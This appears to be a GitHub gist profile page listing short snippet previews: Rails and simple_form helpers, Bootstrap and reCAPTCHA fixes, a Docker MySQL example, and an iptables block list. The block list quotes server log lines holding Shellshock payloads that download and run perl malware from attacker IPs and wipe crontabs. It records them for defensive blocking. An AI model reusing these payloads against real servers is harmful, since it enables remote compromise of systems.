Skip to content

Instantly share code, notes, and snippets.

View donnykurnia's full-sized avatar

Donny Kurnia donnykurnia

View GitHub Profile
@donnykurnia
donnykurnia / simple_form_3.x_bootstrap_3.x
Created February 28, 2014 09:22
Setting simple_form 3.x to work with bootstrap 3.x
---------------------------------------------------------------------------------------------------------
# app/helpers/application_helper.rb
---------------------------------------------------------------------------------------------------------
def horizontal_simple_form_for(record, options={}, &block)
options[:html] ||= {}
options[:html][:class] = "form-horizontal #{options[:html][:class]}".rstrip
options[:wrapper] = :bootstrap_horizontal
simple_form_for(record, options, &block)
end
---------------------------------------------------------------------------------------------------------
@donnykurnia
donnykurnia / iptables-block-list-2015-03-08
Last active August 29, 2015 14:16
iptables block list 2015-03-08
# shellshock exploit
# 209.236.133.201 - - [02/Mar/2015:15:50:03 +0700] "GET /cgi-bin/sip.cgi HTTP/1.0" 301 178 "-" "() { :;}; /bin/bash -c \x22cd /var/tmp ; wget http://151.236.44.210/ft.exe ; curl -O http://151.236.44.210/ft.exe;perl ft.exe;perl /var/tmp/ft.exe;perl ft.exe\x22"
iptables -I INPUT -s 209.236.133.201 -j DROP
iptables -A OUTPUT -d 151.236.44.210 -j DROP
# 31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /fcgi-php/php HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\x22);'"
iptables -I INPUT -s 31.184.194.114 -j DROP
iptables -A OUTPUT -d 64.32.12.152 -j DROP
# 50.22.0.250 - - [2
function formatUSprice(amount)
{
var i = parseFloat(amount);
if(isNaN(i)) { i = 0.00; }
var minus = '';
if(i < 0) { minus = '-'; }
i = Math.abs(i);
i = parseInt((i + .005) * 100);
i = i / 100;
s = new String(i);
@donnykurnia
donnykurnia / user.rb
Created April 20, 2012 11:22
find or create parent object from children association
def autosave_associated_records_for_team
if team.name.blank?
self.team_id = 1
else
# Find or create the team by name
self.team = Team.find_or_create_by_name(team.name)
end
end
ActiveRecord::Base.logger = Logger.new(STDOUT)
@donnykurnia
donnykurnia / fix_recaptcha.css
Created December 8, 2013 12:58
fix recaptcha styling
/* fix image in recaptcha */
#recaptcha_area * {
line-height: normal;
}
#recaptcha_area #recaptcha_response_field {
height: 16px;
display: inline;
}
@donnykurnia
donnykurnia / Running example:
Created January 3, 2016 13:59
Access mysql in other container
$ docker-compose run app
Creating mysql
root@cd9cf6553130:/# mysql -h "$DB_PORT_3306_TCP_ADDR" -P "$DB_PORT_3306_TCP_PORT" -u "$DB_ENV_MYSQL_USER" --password="$DB_ENV_MYSQL_PASSWORD" $DB_ENV_MYSQL_DATABASE
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.10 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
@donnykurnia
donnykurnia / _form.html.erb
Last active January 3, 2016 16:08
simple_form 3.0.1 bootstrap 3 config and custom input.
<%%= simple_form_for(@<%= singular_table_name %>) do |f| %>
<%%= f.error_notification %>
<div class="form-inputs">
<%- attributes.each do |attribute| -%>
<%%= f.<%= attribute.reference? ? :association : :input %> :<%= attribute.name %> %>
<%- end -%>
</div>
<div class="form-actions form-group">
0f60e3e597df4f7046335005893a439d
@donnykurnia
donnykurnia / npm run build.log
Last active January 4, 2018 14:53
npm run build error
625032ae295247aa27267e082f2adc8b